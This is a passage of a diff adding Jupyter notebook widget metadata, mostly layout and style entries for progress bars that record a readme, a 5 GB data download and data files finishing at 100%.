"description_tooltip": null, + "layout": "IPY_MODEL_2a03ed298064406986a3926002e01c50", + "max": 5560, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ad45516b83064a2fb2bfb1b6b4e4a6cc", + "value": 5560 + } + }, + "a75144c534ac462487e2ee23e69ff6d6": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_493247940d1f4a1b9f540648539ee570", + "placeholder": "​", + "style": "IPY_MODEL_bf4f4937407e4ff8b99e12a80df51bbf", + "value": " 5.56k/5.56k [00:00<00:00, 236kB/s]" + } + }, + "b3b818659e20499e97e1dcfadac5bdb2": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3f06b0e7f671425a84a8ba1eee6b91b4": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ca6bcd38cf654331a5cc2a30f6b1eb60": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2a03ed298064406986a3926002e01c50": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ad45516b83064a2fb2bfb1b6b4e4a6cc": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "493247940d1f4a1b9f540648539ee570": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bf4f4937407e4ff8b99e12a80df51bbf": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "df26988483374f13b3f5b5249885314e": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_741faf1f52434dc1a50f8f87222d03f9", + "IPY_MODEL_c0e1947fff7545a2905b351ca3a37aa7", + "IPY_MODEL_ecaf20f7678f4c369c87159eebd764c5" + ], + "layout": "IPY_MODEL_9f94bd441f5143d09de8e1a2eaaaef47" + } + }, + "741faf1f52434dc1a50f8f87222d03f9": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_47f36484127b476eb6188c4aea4bdee3", + "placeholder": "​", + "style": "IPY_MODEL_f856eaad87464418971522512a6a49f7", + "value": "Downloading readme: 100%" + } + }, + "c0e1947fff7545a2905b351ca3a37aa7": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6be3d46ddb524492b317001c7f2327b8", + "max": 10337, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7ff1fe3c688d4b4a9dbd29802bd37a6f", + "value": 10337 + } + }, + "ecaf20f7678f4c369c87159eebd764c5": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e1ffbf12e5c84a6598375408de9664bb", + "placeholder": "​", + "style": "IPY_MODEL_64b5417ebc974e199543379ef725d1c8", + "value": " 10.3k/10.3k [00:00<00:00, 431kB/s]" + } + }, + "9f94bd441f5143d09de8e1a2eaaaef47": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "47f36484127b476eb6188c4aea4bdee3": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f856eaad87464418971522512a6a49f7": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6be3d46ddb524492b317001c7f2327b8": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7ff1fe3c688d4b4a9dbd29802bd37a6f": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e1ffbf12e5c84a6598375408de9664bb": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "64b5417ebc974e199543379ef725d1c8": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "82acbc3424b14a3583b58739b556045e": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_ce51e61458384578b179cac6fd5afaba", + "IPY_MODEL_97c3a7df99234301af2afbe263071006", + "IPY_MODEL_11b963fc16c14db1b2739fc1ee5d891b" + ], + "layout": "IPY_MODEL_21643d4f04384d738a3a60dbd22989bf" + } + }, + "ce51e61458384578b179cac6fd5afaba": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_048ff92d3dd94d11a8cbfa850f685113", + "placeholder": "​", + "style": "IPY_MODEL_96a3a22da4734c9695730d08a19a0a23", + "value": "Downloading data: 100%" + } + }, + "97c3a7df99234301af2afbe263071006": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_919af07ec8a44e2e992b7aa4fd995ab9", + "max": 4996278331, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_cd5bea65a88948bd8650bbf04e4e1426", + "value": 4996278331 + } + }, + "11b963fc16c14db1b2739fc1ee5d891b": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_baca3a29ad0f4b5e8a5b1980337b30bc", + "placeholder": "​", + "style": "IPY_MODEL_6b548b8a9ceb4f31b913196c87c1afae", + "value": " 5.00G/5.00G [07:58<00:00, 11.9MB/s]" + } + }, + "21643d4f04384d738a3a60dbd22989bf": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "048ff92d3dd94d11a8cbfa850f685113": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "96a3a22da4734c9695730d08a19a0a23": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "919af07ec8a44e2e992b7aa4fd995ab9": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "cd5bea65a88948bd8650bbf04e4e1426": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "baca3a29ad0f4b5e8a5b1980337b30bc": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6b548b8a9ceb4f31b913196c87c1afae": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "27228900fcc64b8e976c7cf674365f5e": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c081fea03098454ea2b7d58fa7cf44c4", + "IPY_MODEL_7429695252fb431593a5716dca6df965", + "IPY_MODEL_266cbfbc75c94b888682b24e7c72dfa7" + ], + "layout": "IPY_MODEL_93f772daaff14419a2d4dba53771c832" + } + }, + "c081fea03098454ea2b7d58fa7cf44c4": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_542f4c77c6754aecb778cc22775ceb9b", + "placeholder": "​", + "style": "IPY_MODEL_078e919df7e244408b32f1a988975238", + "value": "Downloading data files: 100%" + } + }, + "7429695252fb431593a5716dca6df965": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_258f358dcafc49de94bd56fb8673c814", + "max": 2, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_d0f398fcac5741698b0ffb9ffa06d570", + "value": 2 + } + }, + "266cbfbc75c94b888682b24e7c72dfa7": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_90b7882f5c6f4495b2d5e60bff88f2e2", + "placeholder": "​", + "style": "IPY_MODEL_02a3804cfb644596845bd94d485842b3", + "value": " 2/2 [00:05<00:00, 2.51s/it]" + } + }, + "93f772daaff14419a2d4dba53771c832": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "542f4c77c6754aecb778cc22775ceb9b": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "078e919df7e244408b32f1a988975238": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "258f358dcafc49de94bd56fb8673c814": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d0f398fcac5741698b0ffb9ffa06d570": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "90b7882f5c6f4495b2d5e60bff88f2e2": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": 